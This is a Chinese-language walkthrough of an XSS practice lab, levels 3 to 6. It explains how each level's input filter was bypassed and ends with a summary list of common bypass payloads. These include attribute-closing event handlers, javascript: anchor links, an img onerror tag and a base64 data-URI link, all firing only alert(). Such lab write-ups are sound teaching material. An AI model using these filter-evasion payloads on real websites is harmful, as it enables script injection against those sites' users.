level3
输入常规的测试xss代码:<script>alert(/bmfx/)</script>
查看网页源码确认已经使用了 htmlspecialchars进行html实体化,所以需要使用js的触发事件功能进行测试,如下所示:
' onmouseover='javascript:alert(2) onmouseover事件-当鼠标指针移动到指定对象的时候触发js ' onclick='javascript:alert(2) onclick事件-当按钮被点击的时候触发js ' onfocus='javascript:alert(/bmfx/) onfocus事件-当鼠标点击输入框且输入框被选中可以输入内容的时候触发js
level4
" onclick='javascript:alert(2)'" " onfocus='javascript:alert(/bmfx/)'" " onmouseover='javascript:alert(2)'"
此关卡测试方式跟level3的思路一样,只是闭合方式改变了,具体测试代码如上,看看测试结果:
level5
挖掘xss漏洞,首先输入下面两个正常和常规的测试代码,然后查看网页源代码看看服务端做了哪些防护操作
bmfx
<script>alert(/bmfx/)</script>
根据显示结果,发现对script,onclick等类似的触发事件标签都进行了篡改,所以此处无法使用此类标签,尝试使用 a href进行利用,同样首先使用一个常规的测试代码
<a href=javascript:alert('bmfx') >bmfx</a> 然后查看网页源代码显示如下:
<input name=keyword value="<a href=javascript:alert('bmfx') >bmfx</a>">
根据上面显示,那么我们需要闭合前面的双引号和小于号和注释后面的双引号和大于号,最终得到如下结果:
"> <a href=javascript:alert('bmfx') >bmfx</a> //
level6
同样常规操作,发现此关卡针对href进行了破坏篡改,所以根据网页源码显示结果,构造了如下测试代码
"> <a HREF="javascript:alert('bmfx')">bmfx</a> //
总结:
1. 测试xss的时候,先正常输入普通字符,或者类似html的标签,比如<b>之类的,看看显示结果和对应的网页源代码信息
2. 之后根据上述显示的信息进行绕过测试
3. 常见的绕过测试代码如下
<script>alert(/xx/)</script>
"> <script>alert(/bmfx/)</script> //
" onclick='javascript:alert(2)'"
" onfocus='javascript:alert(/bmfx/)'"
" onmouseover='javascript:alert(2)'"
<img src=998 onerror=alert('bmfx')>
"> <a href=javascript:alert('bmfx') >bmfx</a> //
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">bmfx</a>